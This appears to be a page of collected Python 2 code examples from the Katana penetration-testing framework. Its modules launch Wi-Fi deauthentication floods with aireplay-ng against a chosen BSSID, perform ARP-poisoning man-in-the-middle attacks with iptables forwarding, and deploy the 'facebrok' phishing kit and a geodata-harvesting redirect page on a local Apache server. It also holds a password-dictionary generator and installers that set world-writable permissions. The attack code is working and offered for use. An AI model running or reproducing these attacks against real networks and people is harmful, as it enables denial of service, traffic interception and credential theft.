示例#1
0
def services(process):
	try:
		d.run()
		print " "+Alr+" Starting "+process+"",ping.status_cmd("service "+process+" start","\t\t\t\t")
		d.space()
		raw_input(" "+Hlp+" Press any key for Stop Service")
		print " "+Alr+" Stopping "+process+"",ping.status_cmd("service "+process+" stop","\t\t\t\t")
		d.space()
		return
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	services(process)
示例#2
0
def getdatareport(run):
	try:
		global defaultred,defaultjav
		if run!=1:
			actions=raw_input(d.prompt("set/gdreport"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("link","yes","redirectly",defaultred)
			d.descrip("java","no","JS for Geo",defaultjav)
 			d.space()
		elif actions[0:8] == "set link":
			defaultred=ping.update(defaultred,actions,"link")
			d.change("link",defaultred)
		elif actions[0:9] == "set javas":
			defaultjav = actions[10:]
			if defaultjav == "true" or defaultjav == "false":
				d.change("javas",defaultjav)
			else:
				d.nodataallow()
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print " "+Alr+" Setting files",ping.status_cmd('echo "<?php \$url=\'http://'+defaultred+'\';\$javascript=\''+defaultjav+'\';?>" > '+PATCH_WWW+'/appconfig.php & echo ',"\t\t\t\t")
				print " "+Alr+" Coping files to server",ping.status_cmd("cp files/getdatareport/* "+PATCH_WWW,"\t\t\t")
				print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW,"\t\t")
				if True:
					try:
						print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t")
						d.go("http://127.0.0.1/redirect.php?id=1337")
						raw_input(" "+Hlp+" Press any key for Stop GetDataReport")
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"/appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
					except:
						print ""
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print ""
						getdatareport(0)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	getdatareport(0)
示例#3
0
def ddos(run):
	global defaultcar,defaultint,defaultmac,defaultcha,defaultess
	try:
		if run!=1:
			actions=raw_input(d.prompt("wifi/dos"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("intf","yes","Interface card",defaultcar)
			d.descrip("intm","yes","Int... monitor",defaultint)
			d.descrip("bssid","yes","Mac address",defaultmac)
			d.descrip("essid","yes","Name of AP",defaultess)
			d.descrip("chan","yes","Channel red",defaultcha)
			d.helpAUX()
			ping.interfaces(1)
			ping.monitor()
			d.space()
		elif actions[0:8] == "set intf":
			defaultcar=ping.update(defaultcar,actions,"intf")
			d.change("intf",defaultcar)
		elif actions[0:8] == "set intm":
			defaultint=ping.update(defaultint,actions,"intm")
			d.change("intm",defaultint)
		elif actions[0:9] == "set bssid":
			defaultmac=ping.update(defaultmac,actions,"bssid")
			d.change("bssid",defaultmac)
		elif actions[0:9] == "set essid":
			defaultess=ping.update(defaultess,actions,"essid")
			d.change("essid",defaultess)
		elif actions[0:8] == "set chan":
			defaultcha=ping.update(defaultcha,actions,"chan")
			d.change("chan",defaultcha)
		elif actions[0:5] == "start":
			start = actions[6:]
			print " "+Alr+" Starting Monitor Mode In "+start,ping.status_cmd("airmon-ng start "+start,"\t\t\t")
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print " "+Alr+" Starting attack..."
				subprocess.call('aireplay-ng --deauth 1000 -a '+defaultmac+' '+defaultint, shell=True)
			except(KeyboardInterrupt, SystemExit):
				print("\n "+Alr+" Stopped DDOS")
		else:
			d.nocommand()
	except:
		d.kbi()
		exit()
	ddos(0)
示例#4
0
def ddos(run):
    global defaultint, defaultmac
    try:
        if run != 1:
            actions = raw_input(d.prompt("wifi/dos"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("device", "yes", "Interface", defaultint)
            d.descrip("bssid", "yes", "Mac Target", defaultmac)
            d.helpAUX()
            ping.interfaces(1)
            ping.monitor()
            d.space()
        elif actions[0:10] == "set device":
            defaultint = ping.update(defaultint, actions, "device")
            d.change("device", defaultint)
            ddos(0)
        elif actions[0:9] == "set bssid":
            defaultmac = ping.update(defaultmac, actions, "bssid")
            d.change("bssid", defaultmac)
        elif actions[0:5] == "start":
            start = actions[6:]
            print " " + Alr + " Starting Monitor Mode In " + start, ping.status_cmd(
                "sudo airmon-ng start " + start, "\t\t\t")
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                if ping.checkDevice(defaultint):
                    print " " + Alr + " Starting attack to " + defaultmac
                    subprocess.call('aireplay-ng --deauth 100000 -a ' +
                                    defaultmac + ' ' + defaultint,
                                    shell=True)
                    stopAttack = raw_input(
                        ' ' + Hlp + ' Press Any Key for Stop the Attack.')
                    subprocess.call("killall aireplay-ng", shell=True)
                else:
                    d.NoDeviceFound(defaultint)
            except:
                Errors.Errors(event=sys.exc_info(), info=3)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=1)
    ddos(0)
示例#5
0
def ddos(run):
	global defaultint,defaultmac,defaulchan
	try:
		if run!=1:
			actions=raw_input(d.prompt("wifi/dos"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("device","yes","Interface",defaultint)
			d.descrip("bssid","yes","Mac Target",defaultmac)
			d.descrip("chann","yes","Channel ap",defaultmac)
			d.helpAUX()
			ping.interfaces(1)
			ping.monitor()
			d.space()
		elif actions[0:10] == "set device":
			defaultint=ping.update(defaultint,actions,"device")
			d.change("device",defaultint)
			ddos(0)
		elif actions[0:9] == "set bssid":
			defaultmac=ping.update(defaultmac,actions,"bssid")
			d.change("bssid",defaultmac)
		elif actions[0:5] == "start":
			start = actions[6:]
			print " "+Alr+" Starting Monitor Mode In "+start,ping.status_cmd("sudo airmon-ng start "+start,"\t\t\t")
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				if ping.checkDevice(defaultint):
					print " "+Alr+" Starting attack to "+defaultmac
					ping.Subprocess('aireplay-ng --deauth 100000 -a '+defaultmac+' '+defaultint)
					NULL=raw_input(" "+Hlp+" for Stop DOS Attack (PRESS ANY KEY)")
					subprocess.call("killall aireplay-ng", shell=True)
				else:
					d.NoDeviceFound(defaultint)
			except:
				Errors.Errors(event=sys.exc_info(), info=3)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=1)
	ddos(0)
示例#6
0
def arpp(run): 
    try:
        global defaultgat,defaultipv,defaultint
        if run!=1:
            actions=raw_input(d.prompt("net/arpspoof"))
        else:
            actions="run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target","yes","IP victim",defaultipv)
            d.descrip("gway","yes","Gateway-Router.",defaultgat)
            d.descrip("iterce","yes","Interface",defaultint)
            d.helpAUX()
            if ping.conneted()!=False:
                ping.interfaces(1)
                ping.get_gateway(1)
                ping.my_mac_address(1)
                d.space()
                if ping.conneted()!=False:
                    commands.getoutput(NMAP_PATH+' -sn '+str(ping.myip())+'/24 -oX tmp/ips.xml > null')
                    GateWay=ping.get_gateway(2)
                    tree = ET.parse('tmp/ips.xml')
                    root = tree.getroot()
                    IPf=0
                    counter=0
                    IP=""
                    for host in root.findall('host'):
                        for hosted in host.findall('address'):
                            if hosted.get('addrtype') == "ipv4":
                                IPf=hosted.get('addr')
                            else:
                                if GateWay == IPf :
                                    IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
                                IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
                    print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR         "+colors[0]

                    for HOST in IPs:
                        counter=counter+1               
                        print " ["+str(counter)+"]"+HOST
                    d.space()
                    commands.getoutput('rm tmp/ips.xml > null')
            else:
                print d.noconnect()
            print ""
            arpp(0)
        elif actions[0:10] == "set target":
            defaultipv=ping.update(defaultipv,actions,"target")
            d.change("target",defaultipv)
        elif actions[0:8] == "set gway":
            defaultgat=ping.update(defaultgat,actions,"gway")
            d.change("gway",defaultgat)
        elif actions[0:10] == "set iterce":
            defaultint=ping.update(defaultint,actions,"iterce")
            d.change("iterce",defaultint)
        elif actions=="exit" or actions=="x":
            d.goodbye()
            exit()
        elif actions=="help" or actions=="h":
            help.help()
        elif actions=="back" or actions=="b":
            return
            return
        elif actions[0:5]=="save:":
            ping.SaveVariable(secuence=actions, matrix=IPs)
        elif actions=="run"  or actions=="r":
            d.run()
            try:
		My_Ip=ping.myip()
		Tables="""
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """+defaultint+""" --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """+defaultint+""";
"""

                print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t')
                print " "+Alr+" Configuring IPtables NAT",ping.status_cmd(Tables,'\t\t\t\t')
                print " "+Alr+" Starting ARP Poisoning..."
                try:
                    z=multiprocessing.Process(target=Get_PoisoningTTG)
                    t=multiprocessing.Process(target=Get_PoisoningTGT)
                    t.start()
                    z.start()
                    NULL=raw_input(" "+Hlp+" Stop Attack ARP (PRESS ANY KEY)")
                    print " "+Alr+" Stopping ARP Poisoning...", ping.status_cmd('killall arpspoof','\t\t\t\t')
                    print " "+Alr+" Setting Normal configuration in forwarding",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t')
                    t.terminate()
                    z.terminate()  
                    d.space()
                    arpp(0)
                except:
                    Errors.Errors(event=sys.exc_info(), info=False)
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    arpp(0)
示例#7
0
def facebrok(run):
	try:
		global username_sql,password_sql,database_sql,username_cp,password_cp
		if run!=1:
			actions=raw_input(d.prompt("seng/facebrok"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("usql","yes","Username sql",username_sql)
			d.descrip("psql","yes","Password sql",password_sql)
			d.descrip("dsql","yes","Database sql",database_sql)
			d.descrip("upan","no","Username CPanel",username_cp)
			d.descrip("ppan","no","Password CPanel",password_cp)
 			print ""
		elif actions[0:8] == "set usql":
			username_sql = actions[9:]
			d.change("usql",username_sql)
			facebrok(0)
		elif actions[0:8] == "set psql":
			password_sql = actions[9:]
			d.change("psql",password_sql)
			facebrok(0)
		elif actions[0:8] == "set dsql":
			database_sql = actions[9:]
			d.change("dsql",database_sql)
			facebrok(0)
		elif actions[0:8] == "set upan":
			username_cp = actions[9:]
			d.change("upan",username_cp)
			facebrok(0)
		elif actions[0:8] == "set ppan":
			password_cp = actions[9:]
			d.change("ppan",password_cp)
			facebrok(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print("\n "+Alr+" Installing facebrok project in local server")
				print " "+Alr+" Coping files to server",ping.status_cmd("cp -R files/facebrok/* "+PATCH_WWW,"\t\t\t")
				print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW+"croak/","\t\t")
				if True:
					try:
						print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t")
						print(" "+Alr+" Starting Mysql Server"),ping.status_cmd("service mysql start","\t\t\t")
						print(" "+Alr+" Installing facebrok"),ping.status_cmd('wget -b -nv --post-data "server=127.0.0.1&user='******'&pass='******'&data='+database_sql+'&userp='+username_cp+'&passp='+password_cp+'" 127.0.0.1/croak/install/startgame.php','\t\t\t')
						d.space()
						print(" "+Got+" Script Running in http://127.0.0.1/")
						d.space()
						raw_input(" "+Hlp+" Press any key for Stop facebrok")
						d.space()
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm -R "+PATCH_WWW+"*","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t")
						d.space()
					except:
						d.space()
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm -R /var/www/*","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t")
						d.space()
			except:
				Errors.Errors(event=sys.exc_info()[0], info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	facebrok(0)
示例#8
0
def facebrok(run):
	try:
		global username_sql,password_sql,database_sql,username_cp,password_cp
		if run!=1:
			actions=raw_input(d.prompt("set/facebrok"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("usql","yes","Username sql",username_sql)
			d.descrip("psql","yes","Password sql",password_sql)
			d.descrip("dsql","yes","Database sql",database_sql)
			d.descrip("upan","no","Username CPanel",username_cp)
			d.descrip("ppan","no","Password CPanel",password_cp)
 			print ""
		elif actions[0:8] == "set usql":
			username_sql = actions[9:]
			d.change("usql",username_sql)
			facebrok(0)
		elif actions[0:8] == "set psql":
			password_sql = actions[9:]
			d.change("psql",password_sql)
			facebrok(0)
		elif actions[0:8] == "set dsql":
			database_sql = actions[9:]
			d.change("dsql",database_sql)
			facebrok(0)
		elif actions[0:8] == "set upan":
			username_cp = actions[9:]
			d.change("upan",username_cp)
			facebrok(0)
		elif actions[0:8] == "set ppan":
			password_cp = actions[9:]
			d.change("ppan",password_cp)
			facebrok(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print("\n "+Alr+" Installing facebrok project in local server")
				print " "+Alr+" Coping files to server",ping.status_cmd("cp -R files/facebrok/* "+PATCH_WWW,"\t\t\t")
				print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW+"croak/","\t\t")
				if True:
					try:
						print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t")
						print(" "+Alr+" Starting Mysql Server"),ping.status_cmd("service mysql start","\t\t\t")
						print(" "+Alr+" Installing facebrok"),ping.status_cmd('wget -b -nv --post-data "server=127.0.0.1&user='******'&pass='******'&data='+database_sql+'&userp='+username_cp+'&passp='+password_cp+'" 127.0.0.1/croak/install/startgame.php','\t\t\t')
						d.space()
						print(" "+Got+" Script Running in http://127.0.0.1/")
						print(" "+Got+" Control Panel in http://127.0.0.1/croak/")
						d.space()
						raw_input(" "+Hlp+" Press any key for Stop facebrok")
						d.space()
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm -R "+PATCH_WWW+"*","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t")
						d.space()
					except:
						d.space()
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm -R /var/www/*","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t")
						d.space()
			except:
				Errors.Errors(event=sys.exc_info()[0], info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	facebrok(0)
示例#9
0
def arpp(run):
    try:
        global defaultgat, defaultipv, defaultint
        if run != 1:
            actions = raw_input(d.prompt("net/arpspoof"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP victim", defaultipv)
            d.descrip("gway", "yes", "Gateway-Router.", defaultgat)
            d.descrip("iterce", "yes", "Interface", defaultint)
            d.helpAUX()
            if ping.conneted() != False:
                ping.interfaces(1)
                ping.get_gateway(1)
                ping.my_mac_address(1)
                d.space()
                if ping.conneted() != False:
                    commands.getoutput(NMAP_PATH + ' -sn ' + str(ping.myip()) +
                                       '/24 -oX tmp/ips.xml > null')
                    GateWay = ping.get_gateway(2)
                    tree = ET.parse('tmp/ips.xml')
                    root = tree.getroot()
                    IPf = 0
                    counter = 0
                    IP = ""
                    for host in root.findall('host'):
                        for hosted in host.findall('address'):
                            if hosted.get('addrtype') == "ipv4":
                                IPf = hosted.get('addr')
                            else:
                                if GateWay == IPf:
                                    IPf = colors[8] + colors[
                                        4] + "{GW:" + IPf + "}" + colors[0]
                                IPs.append(" " + IPf + " " +
                                           str(hosted.get('addr')) + " " +
                                           str(hosted.get('vendor')))
                    print " " + colors[10] + colors[
                        7] + " # \t IP \t\t MAC \t\t VENDOR         " + colors[
                            0]

                    for HOST in IPs:
                        counter = counter + 1
                        print " [" + str(counter) + "]" + HOST
                    d.space()
                    commands.getoutput('rm tmp/ips.xml > null')
            else:
                print d.noconnect()
            print ""
            arpp(0)
        elif actions[0:10] == "set target":
            defaultipv = ping.update(defaultipv, actions, "target")
            d.change("target", defaultipv)
        elif actions[0:8] == "set gway":
            defaultgat = ping.update(defaultgat, actions, "gway")
            d.change("gway", defaultgat)
        elif actions[0:10] == "set iterce":
            defaultint = ping.update(defaultint, actions, "iterce")
            d.change("iterce", defaultint)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions[0:5] == "save:":
            ping.SaveVariable(secuence=actions, matrix=IPs)
        elif actions == "run" or actions == "r":
            d.run()
            try:
                My_Ip = ping.myip()
                Tables = """
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """ + defaultint + """ --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """ + defaultint + """;
"""

                print " " + Alr + " Ensure the victim recieves packets by forwarding them", ping.status_cmd(
                    'echo 1 > /proc/sys/net/ipv4/ip_forward', '\t')
                print " " + Alr + " Configuring IPtables NAT", ping.status_cmd(
                    Tables, '\t\t\t\t')
                print " " + Alr + " Starting ARP Poisoning..."
                try:
                    z = multiprocessing.Process(target=Get_PoisoningTTG)
                    t = multiprocessing.Process(target=Get_PoisoningTGT)
                    t.start()
                    z.start()
                    NULL = raw_input(" " + Hlp +
                                     " Stop Attack ARP (PRESS ANY KEY)")
                    print " " + Alr + " Stopping ARP Poisoning...", ping.status_cmd(
                        'killall arpspoof', '\t\t\t\t')
                    print " " + Alr + " Setting Normal configuration in forwarding", ping.status_cmd(
                        'echo 0 > /proc/sys/net/ipv4/ip_forward', '\t\t')
                    t.terminate()
                    z.terminate()
                    d.space()
                    arpp(0)
                except:
                    Errors.Errors(event=sys.exc_info(), info=False)
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    arpp(0)
示例#10
0
print "                    ("+colors.O+"/__\ /__\\"+colors.B+")"+colors.W+"                   				 "#                    (/__\ /__\)                   
print "                    "+colors.B+"/"+colors.W+"\  .V.  /"+colors.B+"\\"+colors.W+"                   				 "#                    /\  .V.  /\                   
print "                   "+colors.B+"/"+colors.W+"  \,---,/  "+colors.B+"\\"+colors.W+"                  				 "#                   /  \,---,/  \                  
print "                   "+colors.B+"\\"+colors.W+"___TTTTT___"+colors.B+"/"+colors.W+"                CODE: KATANA  "#                   \___TTTTT___/                  
print "                ::::\ "+colors.R+"|"+colors.W+"_____"+colors.R+"|"+colors.W+" /::::             DATE: "+info.date+""#                ::::\ "+colors.R+"|"+colors.W+"_____"+colors.R+"|"+colors.W+" /::::               
print "                (+  _"+colors.R+"|"+colors.W+" __"+colors.R+"|"+colors.W+"__ "+colors.R+"|"+colors.W+"_  +)             CORE: "+info.version+", BUILD: "+info.build #                (+  _"+colors.R+"|"+colors.W+" __"+colors.R+"|"+colors.W+"__ "+colors.R+"|"+colors.W+"_  +)               
print "                "+colors.R+"|"+colors.W+"  I_"+colors.R+"|"+colors.W+"KATANA."+colors.R+"|"+colors.W+"_I  "+colors.R+"|"+colors.W+"                               "#                "+colors.R+"|"+colors.W+"  I_"+colors.R+"|"+colors.W+".ANATAK"+colors.R+"|"+colors.W+"_I  "+colors.R+"|"+colors.W+"               
print "                "+colors.R+"|"+colors.W+"  I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"  "+colors.R+"|"+colors.W+"               				 "#                "+colors.R+"|"+colors.W+"  I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"  "+colors.R+"|"+colors.W+"               
print "    __________?_________________________________  				 "#    __________?_________________________________  
print "   {_"+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" I"+colors.GR+"#################################"+colors.W+"/  				 "#   {_"+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" I#################################/  
print "     ^ ^ ^ ^   ,ww   "+colors.O+"FRAMEWORK"+colors.W+"   ww,                   				 "#     ^ ^ ^ ^ EHT KROWEMARF, dliuB      
print "                   I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_I                  				 "#                   I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_I                  
print "                   \_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_/                  				 "#                   \_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_/                  
print ""
print ""
if os.getuid() != 0:
	print " ["+colors.R+"-"+colors.W+"] ERROR:"+colors.B+" Katana Install"+colors.B+" must be run as "+colors.R+"root"+colors.W+"."
	print " ["+colors.R+"-"+colors.W+"] login as root ("+colors.R+"sudo"+colors.W+") or try "+colors.W+"sudo python install.py"+colors.W+"\n"
	exit(1)
print colors.B+" Wait... "
time.sleep(1)
print colors.W+" \033[1mKatana framework, installing"
print colors.W+" Creating Folder ", ping.status_cmd('mkdir -p '+PATCH_INTALL+'katana',"\t\t\t\t\t\t")
print colors.W+" Coping files ktf ", ping.status_cmd('cp -r * '+PATCH_INTALL+'katana',"\t\t\t\t\t\t")
print colors.W+" Creating Shortcuts ", ping.status_cmd('cp core/ktf.console /usr/bin/ktf.console;cp core/ktf.run /usr/bin/ktf.run;cp core/ktf.run /usr/bin/ktf.run;cp core/ktf.linker /usr/bin/ktf.linker;cp core/ktf.update /usr/bin/ktf.update',"\t\t\t\t\t\t")
print colors.W+" Giving privileges ", ping.status_cmd('chmod -c 777 /usr/share/katana/ /usr/bin/ktf.console /usr/bin/ktf.lab /usr/bin/ktf.run /usr/bin/ktf.linker /usr/bin/ktf.update',"\t\t\t\t\t\t")
print ""
print " Now you can remove this diretory."
print " Enjoy. !!!"
print ""
示例#11
0
print ""

if os.getuid() != 0:
	print " ["+colors.R+"-"+colors.W+"] ERROR:"+colors.B+" Katana Install"+colors.B+" must be run as "+colors.R+"root"+colors.W+"."
	print " ["+colors.R+"-"+colors.W+"] login as root ("+colors.R+"sudo"+colors.W+") or try "+colors.W+"sudo python install.py"+colors.W+"\n"
	exit(1)
time.sleep(1)

Shortcuts="""
ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.console /usr/bin/ktf.console ;
ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.linker  /usr/bin/ktf.linker  ;
ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.update  /usr/bin/ktf.update  ;
ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.run     /usr/bin/ktf.run     ;
""" 

Files="""
cd /usr/share/katana/files;tar -xf /usr/share/katana/files/exiftool.tar      >/dev/null 2>&1;
cd /usr/share/katana/files;tar -xf /usr/share/katana/files/facebrok.tar      >/dev/null 2>&1;
cd /usr/share/katana/files;tar -xf /usr/share/katana/files/getdatareport.tar >/dev/null 2>&1;
cd /usr/share/katana/files;tar -xf /usr/share/katana/files/hulk.tar          >/dev/null 2>&1;rm -R *.tar
"""

print colors.W+" \033[1m\033[41mKatana framework\033[49m                    date {"+time.strftime('%c')+"}"
print colors.W+"\n Creating Folder. ",    ping.status_cmd('mkdir -p '+PATCH_INTALL+'katana',   "\t\t\t\t\t\t")
print " Coping files. ",                  ping.status_cmd('cp -r * '+PATCH_INTALL+'katana',    "\t\t\t\t\t\t")
print " Creating Shortcuts. ",            ping.status_cmd(Shortcuts,                           "\t\t\t\t\t\t")
print " Extracting Files. ",              ping.status_cmd(Files,                               "\t\t\t\t\t\t")
print " Giving privileges. ",             ping.status_cmd('chmod -R -c 777 /usr/share/katana/',"\t\t\t\t\t\t")
print "\n Done, Enjoy. !!!\n"

示例#12
0
def Gendic(run):
    try:
        global defaultdic, defaultlon, defaultstr
        if run != 1:
            actions = raw_input(d.prompt("mc/gendic"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("path", "yes", "Output file", defaultdic)
            d.descrip("long", "yes", "Longitude", defaultlon)
            d.descrip("type", "yes", "Type matrix", defaultstr)
            d.helpAUX()
            print " " + colors[7] + "Type        Description" + colors[0]
            print " chars_min = [a,b,c,...,z]"
            print " chars_may = [A,B,C,...,Z]"
            print " chars_num = [0,1,2,...,9]"
            print " chars_mix = [a,b,...,0,1]"
            d.space()
            Gendic(0)
        elif actions[0:8] == "set path":
            defaultdic = ping.update(defaultdic, actions, "path")
            d.change("path", defaultdic)
        elif actions[0:8] == "set long":
            defaultlon = ping.update(defaultstr, actions, "long")
            d.change("long", defaultlon)
        elif actions[0:8] == "set type":
            defaultstr = actions[9:]
            if defaultstr != "chars_min" and defaultstr != "chars_may" and defaultstr != "chars_num" and defaultstr != "chars_mix":
                print " " + Alr + " Error to set type, use chars_min, chars_mix, chars_may or chars_num"
                defaultstr = "chars_num"
                Gendic(0)
            else:
                defaultstr = defaultstr
                d.change("type", defaultstr)
                Gendic(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                Maxima = 1
                long_max = long(defaultlon)
                long_min = long(defaultlon)
                char_null = ['']
                chars_min = [
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
                    'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
                    'y', 'z'
                ]
                chars_may = [
                    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
                    'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                    'Y', 'Z'
                ]
                chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
                chars_spe = ['.', '-', '_', '/', '@']
                permitidos = []
                permitidos += char_null
                if defaultstr == "chars_num":
                    permitidos += chars_num
                if defaultstr == "chars_may":
                    permitidos += chars_may
                if defaultstr == "chars_min":
                    permitidos += chars_min
                if defaultstr == "chars_mix":
                    permitidos += chars_min
                    permitidos += chars_num
                total_chars = len(permitidos)
                char_n_max = total_chars - 1
                cadena = []
                for chars in range(0, long_max):
                    cadena += [0]
                for i in range(1, long_min + 1):
                    cadena[-(i)] = 1
                cadena_max = []
                for chars in range(0, long_max):
                    cadena_max += [total_chars - 1]

                def toClave(cadena1):
                    password = ""
                    for indice in cadena1:
                        password += permitidos[indice]
                    return password

                def isMax(cadena1):
                    if toClave(cadena1) != toClave(cadena_max):
                        return False
                    return True

                def aumentarCadena(cadena1):
                    unidad = 1
                    acarreo = 0
                    for digito in range(1, long_max + 1):
                        if cadena[-(digito)] < char_n_max:
                            if unidad == 1:
                                cadena[-(digito)] += 1
